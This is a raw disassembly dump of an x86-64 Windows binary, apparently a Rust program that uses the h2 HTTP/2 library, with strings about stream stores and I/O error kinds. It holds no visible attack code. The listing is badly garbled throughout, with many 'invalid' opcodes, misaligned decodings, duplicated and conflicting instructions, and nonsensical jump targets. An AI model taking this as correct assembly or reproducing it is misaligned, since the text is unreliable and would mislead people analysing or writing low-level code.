pop rbx
pop rdi
pop rsi
pop r14
jmp rax
jmp rax
jmp rax
movups xmmword [r14], xmm0
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
movzx eax, byte [rcx + 0x40]
lea edx, [rax - 2]
push rax
invalid
lea edx, [rax - 2]
push rax
dec byte [rax - 1]
enter 0x3145, 0xffffffffffffffc0
invalid
dec rax
xor r8d, r8d
invalid
rol byte [rax + 0xf4c06fa], 0x42
cmp dl, 6
cmovb r8, rax
ror byte [rax - 0x73], 5
mov al, 0xbf
invalid
add byte [rdx + 0x63], cl
adc al, 0x80
cli
invalid
ror byte [rax - 0x73], 5
mov al, 0xbf
invalid
add byte [rdx + 0x63], cl
adc al, 0x80
add rdx, rax
jmp rdx
ret 0xe2ff
cmp qword [rcx], 0
je 0x140015bd2
mov rdx, qword [rcx + 0x10]
jmp 0x140015be3
mov rax, qword [rcx + 0x10]
add rax, 0x25
shl byte [0x160c5deca], 0x5e
shl byte [0x160c5deca], 0x5e
ret
movzx eax, byte [rcx]
lea rdx, [0x140191b2c]
lahf
mov edi, 0x63480017
invalid
add byte [rax + 0x63], cl
add al, 0x82
lahf
mov edi, 0x63480017
invalid
add byte [rax + 0x63], cl
add al, 0x82
invalid
add rax, rdx
jmp rax
mov eax, 7
jmp 0x140015ba1
invalid
mov rax, qword [rcx + 0x10]
add rax, 0x27
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
mov rax, qword [rcx + 0x10]
add rax, 0x2a
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
mov rax, qword [rcx + 0x10]
add rax, 0x29
add rsp, 0x20
pop rsi
ret
mov eax, 0x2a
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx + 8]
mov rsi, rcx
mov ecx, eax
call fcn.140024640
mov rcx, rsi
mov rax, qword [rcx + 0x30]
add rax, rdx
add rax, 0x20
add rsp, 0x20
pop rsi
ret
mov eax, 3
jmp 0x140015ba1
mov eax, 4
jmp 0x140015ba1
mov eax, 5
jmp 0x140015ba1
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xc9
leave
adc byte [rax], al
mov eax, 6
jmp 0x140015ba1
mov dword [r14 + 0x54], eax
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r11d
cmp qword [r8 + 0x10], rdi
adc byte [rsi + 0x63], dh
adc byte [rsi + 0x63], dh
mov rdi, qword [r8 + 8]
cmp dword [rdi + rbx], 2
je 0x140015d28
add rdi, rbx
cmp dword [rdi + 0x114], r11d
add byte [rbp + 0x4d], dh
add byte [rbp + 0x4d], dh
add rcx, 8
add rcx, 8
mov eax, dword [rdi + 0x118]
mov r10, qword [rdi + 0x88]
add byte [rax], al
add byte [rax], al
cmp r10, rax
jae 0x140015d17
mov rbx, rdx
sub eax, r10d
mov edx, dword [rdi + 0x84]
sub edx, eax
jo 0x140015d07
mov dword [rdi + 0x84], edx
mov rdi, rcx
mov edx, eax
call fcn.1400210c0
mov rcx, rdi
mov ecx, edi
mov ecx, edi
mov rdx, rbx
fimul dword [rcx - 0x77]
invalid
mov r8, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x140020c10
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], r10
push rsp
and al, 0x28
lea rax, [0x140033810]
lea eax, [0x140033810]
add dword [rax], eax
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x1401321c8]
adc dword [rax], eax
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add byte [rax], al
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.1401224d0
int3
movzx ebp, word [rcx + rax*2]
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov rdx, rcx
sub rdx, rax
cmp rdx, 1
ja 0x140015de5
mov edx, 2
mov rcx, rsi
call fcn.1400087c0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
lea rbx, [rsi + 0x10]
mov rdx, qword [rsi]
mov word [rdx + rax], bp
add rax, 2
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x140015e4a
mov qword [rsi + 8], rax
bswap edi
mov rcx, qword [rsi + 0x10]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140015e29
mov edx, 4
mov rcx, rsi
call fcn.1400087c0
sub edi, edi
dec dword [rax - 0x75]
or byte [rax - 0x75], r9b
invalid
invalid
sub edi, edi
dec dword [rax - 0x75]
or byte [rax - 0x75], r9b
adc byte [rax - 0x75], r9b
invalid
mov rdx, qword [rsi]
mov dword [rdx + rax], edi
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x140015e4a
mov qword [rsi + 8], rax
add rsp, 0x78
js 0x140015ea1
or byte [rax - 0x7d], cl
invalid
js 0x140015ea1
pop rbp
pop rdi
pop rsi
ret
lea rax, [rsp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
and al, 0x68
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1460b6
mov dh, 0x60
adc al, 0
invalid
add byte [rax - 0x73], cl
adc eax, 0x1460b6
mov dh, 0x60
adc al, 0
mov dh, 0x60
adc al, 0
add byte [rax - 0x73], cl
and al, 0x48
invalid
lea rcx, [rsp + 0x48]
call fcn.1401224d0
call fcn.1401224d0
adc byte [rax], al
add ah, cl
int3
int3
int3
sub rsp, 0x68
mov rax, qword [rcx]
movzx ecx, byte [rax]
invalid
test ecx, ecx
je 0x140015f1b
or byte [rbp - 0x7ca48b37], al
stc
add dword [rdi], ecx
test dword [rsi + 0x4c000000], esi
lea ecx, [rax + 8]
cmp ecx, 1
jne 0x140015f7f
lea r9, [rax + 8]
lea rcx, [rax + 4]
inc rax
mov qword [rsp + 0x48], rax
lea rax, [0x1400160a0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea rax, [0x1400219b0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x73], cl
add eax, 0xffff22c9
and bh, bh
invalid
sub byte [rax - 0x73], cl
add eax, 0xffff22c9
and bh, bh
invalid
and bh, bh
dec dword [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [0x14015f33d]
mov r8d, 6
mov eax, 6
mov eax, 6
jmp 0x140015f6b
lea r9, [rax + 4]
lea rcx, [rax + 8]
inc rax
mov qword [rsp + 0x48], rax
lea rax, [0x1400160a0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea rax, [0x1400219b0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
lea rax, [0x140033810]
mov qword [rsp + 0x20], rax
lea rax, str.ResetGoAwayReasonUserIo
mov r8d, 5
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0xfae8
mov rcx, rdx
mov rdx, rax
call fcn.14000c870
and al, 1
add rsp, 0x68
pop rdi
pop rsi
ret
lea rsi, [rax + 1]
add rax, 8
mov qword [rsp + 0x60], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015f34d]
sub byte [rax - 0x73], cl
add eax, 0x1493b2
mov r8d, 2
mov rdi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x50], rdi
and al, 0x50
and al, 0x50
mov byte [rsp + 0x58], al
mov qword [rsp + 0x48], 0
add byte [rax], al
add dh, al
and al, 0x59
add byte [rbp + rcx*4 + 5], cl
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax - 0x73], cl
lea edi, [rsp + 0x48]
add byte [rax], al
add dh, al
and al, 0x59
add byte [rbp + rcx*4 + 5], cl
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
jl 0x140015ff1
lea edi, [rsp + 0x48]
mov rcx, rdi
mov rcx, rdi
mov rdx, rsi
call fcn.14000c0c0
lea r8, [0x14001e4c0]
lea rdx, [rsp + 0x60]
push rsp
and al, 0x60
mov rcx, rdi
mov ecx, edi
call fcn.14000c0c0
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
invalid
dec dword [rax - 0x75]
and al, 0x48
mov ecx, dword [rsp + 0x48]
movzx rdx, byte [rsp + 0x58]
movzx edx, byte [rsp + 0x58]
pop rax
test rcx, rcx
je 0x140016045
mov al, 1
test dl, 1
jne 0x140015f76
cmp rcx, 1
jne 0x14001604c
add dword [rbp + 0x3f], esi
mov rsi, qword [rsp + 0x50]
mov esi, dword [rsp + 0x50]
cmp byte [rsp + 0x59], 0
je 0x140016051
test byte [rsi + 0x34], 4
xor al, 4
jne 0x140016051
xor cl, byte [rax - 0x75]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
invalid
test cl, cl
sbb byte [rcx - 0x7bfe4f3f], cl
leave
add dword [rcx + rcx*8 - 0xcc7af1], eax
invalid
jne 0x140015f76
test dword [rbx], esi
invalid
invalid
jmp 0x140016051
mov eax, edx
jmp 0x140015f76
invalid
invalid
shr cl, 1
sub bh, bh
invalid
mov rsi, qword [rsp + 0x50]
mov esi, dword [rsp + 0x50]
je 0x140016074
push rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
adc eax, 0x15405d
adc eax, 0x15405d
mov r8d, 1
call qword [rax + 0x18]
sbb cl, ch
or bh, bh
invalid
invalid
sbb cl, ch
or bh, bh
invalid
movzx eax, byte [rcx]
shl eax, 3
loopne 0x140016079
lea rcx, [0x14018f310]
mov r8, qword [rax + rcx]
lea rcx, str.NotFoundPermissionDeniedConnectionRefusedConnectionResetHostUnreachableNetworkUnreachableConnectionAbortedNotConnectedAddrInUseAddrNotAvailableNetworkDownBrokenPipeAlreadyExistsWouldBlockNotADirectoryIsADirectoryDirectoryNotEmptyReadOnlyFilesystemFilesystemLoopStaleNetworkFileHandleInvalidInputInvalidDataTimedOutWriteZeroStorageFullNotSeekableFilesystemQuotaExceededFileTooLargeResourceBusyExecutableFileBusyDeadlockCrossesDevicesTooManyLinksInvalidFilenameArgumentListTooLongInterruptedUnsupportedUnexpectedEofOutOfMemoryOtherUncategorized
mov rax, qword [rax + rcx]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
xchg ebx, eax
xchg edx, eax
invalid
add dword [rdi], ecx
mov dh, 0
shl eax, 3
lea rcx, [0x14018f5a0]
mov r8, qword [rax + rcx]
lea rcx, [0x14018f5b8]
add byte [rax - 0x75], cl
add al, 8
invalid
add byte [rax - 0x75], cl
add al, 8
invalid
or byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp r9
int3
int3
int3
and al, 0x20
mov eax, dword [rsp + 0x20]
and al, 0x20
outsd dx, dword [rsi]
invalid
invalid
pop rdx
movq mm0, qword [rsp]
xlatb
call 0x140c8e2a7
invalid
invalid
invalid
invalid
invalid
invalid
std
invalid
bsf eax, ebp
vpavgb xmm0, xmm7, xmmword [0x188faeac6]
sub ecx, eax
jns 0x140016170
jno 0x14001617c
invalid
sal byte [rbp + rax + 0x48], 0x89
stc
ror byte [rax - 0x7d], 1
jle 0x14001619d
cmp dword [rsi + 8], 0
add byte [rdi + riz*4 + 0x48], dh
cmpsd dword [rsi], dword [rdi]
cmp dword [rsi + 0x10], 0x11
mov edi, dword [rdi - 8]
out dx, eax
rol dword [rdi], 0x1f
invalid
jl 0x14001619d
invalid
rol dword [rdi], 0x48
cmp ebx, eax
mov eax, dword [rsp + 0x20]
sub byte [rbx + 0x5d], bl
and eax, 0x119244
int3
invalid
and byte [rax - 0x1d017eff], dh
add eax, dword [rax]
add byte [rdi], cl
invalid
add dword [rax], eax
add byte [rbp - 0x271c6a], cl
inc dword [rbx - 0x78f0cb06]
retf
jmp rdx
add al, byte [rax]
add byte [rax - 0x3f], cl
out dx, al
and byte [rax - 0x7d], cl
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], 0x20
nop
add byte [rax], al
add byte [rax], ah
and byte [rax], al
add byte [rax], al
invalid
test byte [rax + rbx*4], ah
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x98], 3
add byte [rax], al
add byte [rbx], al
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], 0
lea rdx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x80], rdx
mov dword [rsp + 0x80], edx
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x140132fc8]
lea rdx, [0x140132fc8]
lea edx, [0x140132fc8]
adc dword [rax], eax
mov qword [rsp + 0x88], rdx
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x60]
lea rdx, [rsp + 0x60]
lea edx, [rsp + 0x60]
call rax
test al, al
ror byte [rdi], 0x85
add al, byte [rax]
invalid
ror byte [rdi], 0x85
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [rsp + 0x40]
and al, 0x40
mov rcx, qword [rsp + 0x38]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
mov byte [rdi + 1], bl
mov qword [rdi + 8], rcx
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm0
mov byte [rdi], 2
mov rdi, qword [rsi - 1]
dec dword [rax - 0x75]
pop rsi
invalid
mov rax, qword [rbx]
test rax, rax
je 0x14001633d
dec dword [rax - 0x75]
pop rsi
invalid
mov rcx, rdi
call rax
dec rsi
dec esi
cmp qword [rbx + 8], 0
je 0x140016364
cmp qword [rbx + 0x10], 0x11
jb 0x140016352
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
dec dword [rsi - 0x2dceffe8]
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400164af
invalid
add byte [rbp - 0x57e01aa], cl
or dword [rcx], eax
add byte [rax], al
push rsi
inc byte [rcx + 0x109fa]
add byte [rdi], cl
xchg esp, ecx
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x140191b68]
movsxd rdx, dword [r8 + rdx*4]
invalid
adc al, 0x90
ja case.0x1400151c1.112
lea r8, [0x140191b68]
movsxd rdx, dword [r8 + rdx*4]
invalid
adc al, 0x90
invalid
add rdx, r8
jmp rdx
xor eax, eax
jmp case.0x140016398.3
adc eax, 0xf000017
invalid
add byte [rax], al
add byte [rcx + 0x50ffe], al
add byte [rdi], cl
test byte [rbp + 1], ah
add byte [rax], al
cmp esi, 0x5b4
je case.0x140016398.119
invalid
jmp case.0x140016398.2
add al, 0
add byte [rsi + 0x56], bh
cmp esi, 0x4ce
jg 0x1400164ba
cmp esi, 0x46b
je 0x140016535
cmp eax, dword [rcx]
add byte [rax], al
cmp eax, dword [rcx]
add byte [rax], al
cmp esi, 0x476
add byte [rax], al
jne case.0x140016398.2
mov al, 0x20
jmp case.0x140016398.3
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x2021fe], al
add byte [rdi + 0x6f], bh
invalid
cmp esi, 0x1b80
je case.0x140016398.119
cmp esi, 0x1f4e
je case.0x140016398.119
jmp case.0x140016398.2
clc
add dh, byte [rdx + 0x62]
cmp esi, 0x35ed
add byte [rax], al
je case.0x140016398.119
jmp case.0x140016398.2
jrcxz 0x14001643f
add byte [rax], al
je case.0x140016398.119
push rax
cmp esi, 0x41d
invalid
je case.0x140016398.119
cmp esi, 0x461
invalid
je case.0x140016398.119
jmp case.0x140016398.2
jmp case.0x140016398.2
mov al, 0x21
jmp case.0x140016398.3
cmp esi, 0x150
je 0x14001653c
cmp esi, 0x252
je case.0x140016398.119
mov al, 0x28
jmp case.0x140016398.3
add byte [rax], al
je case.0x140016398.119
jmp case.0x140016398.2
and ah, byte [rax]
add byte [rax], al
je case.0x140016398.119
cmp esi, 0x25e9
jne case.0x140016398.2
jmp 0x1b50164b4
mov al, 0x16
invalid
mov byte [rcx + 1], al
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x41
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x50]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx + 0x10], xmm0
mov byte [rcx], 2
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
cmp esi, 0x4cf
je case.0x140016266.10051
cmp esi, 0x4d0
jne case.0x140016398.2
mov al, 4
jmp case.0x140016398.3
mov al, 0x14
jmp case.0x140016398.3
mov al, 0x26
jmp case.0x140016398.3
mov al, 0x18
jmp case.0x140016398.3
mov al, 0xb
jmp case.0x140016398.3
mov al, 0xc
jmp case.0x140016398.3
mov al, 5
jmp case.0x140016398.3
mov al, 0x24
jmp case.0x140016398.3
mov al, 0x10
jmp case.0x140016398.3
mov al, 0x1c
jmp case.0x140016398.3
mov al, 0x1f
jmp case.0x140016398.3
mov al, 0x11
jmp case.0x140016398.3
mov al, 0x1b
jmp case.0x140016398.3
mov al, 0x19
jmp case.0x140016398.3
mov al, 0xe
jmp case.0x140016398.3
mov al, 0x1e
jmp case.0x140016398.3
mov al, 0xf
jmp case.0x140016398.3
lea rax, [0x14018e3e8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14018e3aa]
lea r9, [0x140132ff8]
lea r8, [rsp + 0x37]
mov edx, 0x37
call fcn.140122900
int3
xor r13d, r13d
movzx eax, byte [rsi + 0x11]
test al, al
jne 0x14001723a
dec qword [rsi + 0x238]
mov dword [rsp + 0x20], edi
lea r8, [rsp + 0x24]
mov dword [rsp + 0x24], r9d
cmp qword [rsi + 0x1d8], rdi
jbe case.0x14000e6d6.497
mov rax, qword [rsi + 0x1d0]
imul rbp, rdi, 0x130
cmp dword [rax + rbp], 2
je case.0x14000e6d6.497
add rax, rbp
cmp dword [rax + 0x114], r9d
jne case.0x14000e6d6.497
mov rcx, qword [rax + 0x78]
test rcx, rcx
je 0x1400173f7
dec rcx
mov qword [rax + 0x78], rcx
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
mov rax, qword [rsi + 0x1d8]
cmp rax, rdi
jbe 0x140017310
mov rcx, qword [rsi + 0x1d0]
mov rdx, qword [rcx + rbp]
cmp rdx, 2
je 0x140017310
add rcx, rbp
cmp dword [rcx + 0x114], r9d
jne 0x140017310
lea rbx, [rsi + 0x1c8]
cmp qword [rcx + 0x78], 0
jne 0x140016ecf
cmp byte [rcx + 0x50], 5
ja 0x140016ecf
test dl, 1
jne 0x140016ecf
cmp qword [rcx + 0x88], 0
jne 0x140016ecf
mov rdx, qword [rsi + 0x1b8]
mov rcx, qword [rsi + 0x1c0]
mov qword [rsi + 0x1b8], 0
test rdx, rdx
je 0x140016ecf
mov r14d, r9d
call qword [rdx + 8]
mov r9d, r14d
mov rax, qword [rsi + 0x1d8]
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], edi
mov dword [rsp + 0x6c], r9d
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
cmp rax, rdi
jbe 0x1400172fd
mov rax, qword [rsi + 0x1d0]
cmp dword [rax + rbp], 2
je 0x1400172fd
add rax, rbp
cmp dword [rax + 0x114], r9d
jne 0x1400172fd
lea r14, [rsi + 0x18]
lea r15, [rsi + 0x78]
mov eax, dword [rax + 0x48]
mov dword [rsp + 0x54], eax
lea rcx, [rsp + 0x60]
mov rdx, r15
mov r8, r14
mov dword [rsp + 0x4c], r9d
call fcn.140017410
mov r9d, dword [rsp + 0x4c]
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
mov rax, qword [rsi + 0x1d8]
cmp rax, rdi
jbe 0x1400172fd
mov rcx, qword [rsi + 0x1d0]
cmp dword [rcx + rbp], 2
je 0x1400172fd
add rcx, rbp
cmp dword [rcx + 0x114], r9d
jne 0x1400172fd
cmp qword [rcx + 0x78], 0
jne 0x1400171a2
mov edx, dword [rcx + 0x11c]
test edx, edx
mov qword [rsp + 0x80], r12
mov dword [rsp + 0x50], r13d
je 0x1400170ae
sub dword [rsi + 0x108], edx
mov ecx, dword [rsi + 0xc4]
add edx, ecx
jo 0x140016fb1
mov dword [rsi + 0xc4], edx
mov ecx, edx
mov edx, dword [rsi + 0xc0]
sub ecx, edx
jle 0x140016ffa
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x140016ffa
mov rdx, qword [rsi + 0x1b8]
mov rcx, qword [rsi + 0x1c0]
mov qword [rsi + 0x1b8], 0
test rdx, rdx
je 0x140016ffa
call qword [rdx + 8]
mov r9d, dword [rsp + 0x4c]
mov rax, qword [rsi + 0x1d8]
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
cmp rax, rdi
jbe 0x140017375
mov rax, qword [rsi + 0x1d0]
cmp dword [rax + rbp], 2
je 0x140017375
add rax, rbp
cmp dword [rax + 0x114], r9d
jne 0x140017375
mov dword [rax + 0x11c], 0
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
cmp qword [rsi + 0x1d8], rdi
jbe 0x140017375
mov r12, qword [rsi + 0x1d0]
cmp dword [r12 + rbp], 2
je 0x140017375
add r12, rbp
cmp dword [r12 + 0x114], r9d
jne 0x140017375
add r12, 0x18
lea r13, [rsp + 0x88]
nop dword [rax]
mov rcx, r13
mov rdx, r12
mov r8, r15
call fcn.140020aa0
cmp dword [rsp + 0x88], 6
mov esp, 0x8824
add byte [rsi], al
mov esp, 0x8824
add byte [rsi], al
je 0x1400170a2
mov rcx, r13
mov ecx, ebp
call fcn.140012f70
jmp 0x140017080
mov rax, qword [rsi + 0x1d8]
mov eax, dword [rsi + 0x1d8]
mov r9d, dword [rsp + 0x4c]
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x24], r9d
cmp rax, rdi
jbe 0x140017375
mov rax, qword [rsi + 0x1d0]
mov eax, dword [rsi + 0x1d0]
cmp dword [rax + rbp], 2
je 0x140017375
add rax, rbp
cmp dword [rax + 0x114], r9d
cmp dword [rax + 0x114], ecx
cmp dword [rax + 0x114], ecx
jne 0x140017375
add byte [rax], al
movups xmm0, xmmword [rax + 0x100]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
mov ecx, dword [rax + 0x110]
mov dword [rsp + 0x40], ecx
mov dword [rax + 0x100], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rdi, [rsp + 0x5c]
lea r12, [rsp + 0x70]
lea esp, [rsp + 0x70]
lea esp, [rsp + 0x70]
lea r13, [rsp + 0x30]
mov rcx, r12
mov ecx, esp
mov rdx, r13
mov r8, rbx
call fcn.140013ff0
invalid
invalid
dec dword [rax - 0x7d]
jl 0x140017146
jo 0x140017124
je 0x140017195
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
mov rcx, qword [rsp + 0x70]
mov edx, dword [rsp + 0x78]
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x58], edx
mov dword [rsp + 0x5c], eax
and al, 0x5c
and al, 0x5c
cmp qword [rcx + 0x10], rdx
jbe 0x1400172be
add byte [rax], al
add byte [rax], al
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
add dword [rax], eax
add byte [rbx + 0xf02113c], al
test byte [rcx + rax], ah
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0xf02113c], al
test byte [rcx + rax], ah
add dword [rax], eax
add dword [rax], eax
add byte [rax + 1], cl
sar dword [rcx], 1
adc dword [rcx + rax], 0x850f0000
add byte [rax], al
jne 0x1400172be
invalid
jns 0x1400171b4
add dl, cl
add rcx, rdx
cmp dword [rcx + 0x114], eax
add byte [rax], al
add byte [rax], al
jne 0x1400172be
cmp dword [rcx + 0x48], 0x3b9aca00
setne bpl
mov rcx, r12
mov ecx, esp
add dl, cl
invalid
mov ecx, esp
mov rdx, r15
mov r8, r14
call fcn.140017410
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
add al, byte [rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rdx, r12
mov r8d, ebp
mov eax, ebp
mov eax, ebp
call fcn.140022d30
jmp 0x140017110
invalid
invalid
movabs al, byte [0xffffff7be90000bb]
invalid
mov r12, qword [rsp + 0x80]
add byte [rax], al
add byte [rbx + rcx*4 + 0x6c], al
mov r13d, dword [rsp + 0x50]
mov r13d, dword [rsp + 0x50]
push rax
cmp dword [rsp + 0x54], 0x3b9aca00
setne r8b
xchg ebp, eax
ror byte [rax - 0x73], 0x54
and al, 0x60
push rsp
add dl, cl
invalid
invalid
retf 0x3b9a
xchg ebp, eax
ror byte [rax - 0x73], 0x54
and al, 0x60
mov rcx, r14
call fcn.140022d30
test r13b, r13b
jne 0x1400171d3
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140017299
xor eax, eax
xchg byte [r12], al
cmp al, 2
jne 0x1400171e6
mov rcx, r12
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r12
mov ebx, r9d
call fcn.14012be60
add byte [rcx - 0x77], al
invalid
mov rax, qword [0x14019f300]
add byte [rax - 0x2f], cl
loopne 0x14001725c
test eax, eax
add byte [rcx - 0x77], al
invalid
add byte [rax - 0x2f], cl
loopne 0x14001725c
test eax, eax
je 0x140016dd3
sti
invalid
mov ebx, r9d
call fcn.14012bf20
add byte [rcx - 0x77], al
fld dword [rcx - 0x77]
invalid
xor r13b, 1
add dword [rdi], ecx
mov dh, 0x46
adc dword [rax + rax*8 - 0x4577bf1], eax
sti
invalid
invalid
add byte [rcx - 0x77], al
fld dword [rcx - 0x77]
invalid
add dword [rdi], ecx
mov dh, 0x46
adc dword [rax + rax*8 - 0x4577bf1], eax
sti
sti
invalid
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400173df
add byte [rax], al
add byte [rax], al
call fcn.14012bf20
test al, al
jne 0x1400173df
invalid
test dword [rcx], eax
add byte [rax], al
test dword [rbp + 0x45000001], eax
test ch, ch
test r13b, r13b
in eax, dx
jne 0x14001726e
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne case.0x14000e6d6.475
xor eax, eax
xchg byte [r12], al
and al, 0x3c
add cl, byte [rdi]
test dword [rdx - 1], ebp
invalid
invalid
and al, 0x3c
add cl, byte [rdi]
test dword [rdx - 1], ebp
invalid
mov rcx, r12
mov ecx, esp
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
call fcn.14012bf20
adc qword [rax], r8
test al, al
jne 0x1400171d3
invalid
inc esi
adc dword [rcx], r8d
mov byte [rsi + 0x11], 1
jmp 0x1400171d3
call fcn.14012bf20
test al, al
jne 0x14001726e
mov byte [rsi + 0x11], 1
jmp 0x14001726e
mov qword [rsp + 0x20], rdi
lea rax, [0x140033810]
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0xa8], 0
lea rax, [rsp + 0x20]
jmp 0x14001734d
lea rax, [rsp + 0x24]
and al, 0x24
mov qword [rsp + 0x30], rax
jmp 0x140017315
mov qword [rsp + 0x30], r8
jmp 0x14001737f
mov qword [rsp + 0x30], r8
lea rax, [0x140033810]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
